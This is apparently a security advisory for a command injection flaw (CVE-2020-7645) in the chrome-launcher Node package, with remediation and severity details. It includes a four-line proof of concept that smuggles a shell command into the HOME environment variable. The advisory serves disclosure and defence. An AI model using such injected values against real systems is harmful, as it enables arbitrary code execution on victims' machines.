Command Injection

Affecting chrome-launcher package, versions <0.13.2

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

chrome-launcher is a library to launch Google Chrome with ease from node.

Affected versions of this package are vulnerable to Command Injection. By controlling the $HOME environment variable in Linux operating systems, an attacker can execute arbitrary code.

PoC:

var malicious_code = '& touch malicious_file &';
process.env.HOME += "/" + malicious_code;
var Root = require("chrome-launcher");
Root.launch();

Remediation

Upgrade chrome-launcher to version 0.13.2 or higher.

CVSS Score

8.1
high severity
  • Attack Vector
    Network
  • Attack Complexity
    High
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
JHU System Security Lab
CVE
CVE-2020-7645
CWE
CWE-78
Snyk ID
SNYK-JS-CHROMELAUNCHER-537575
Disclosed
10 Dec, 2019
Published
11 Dec, 2019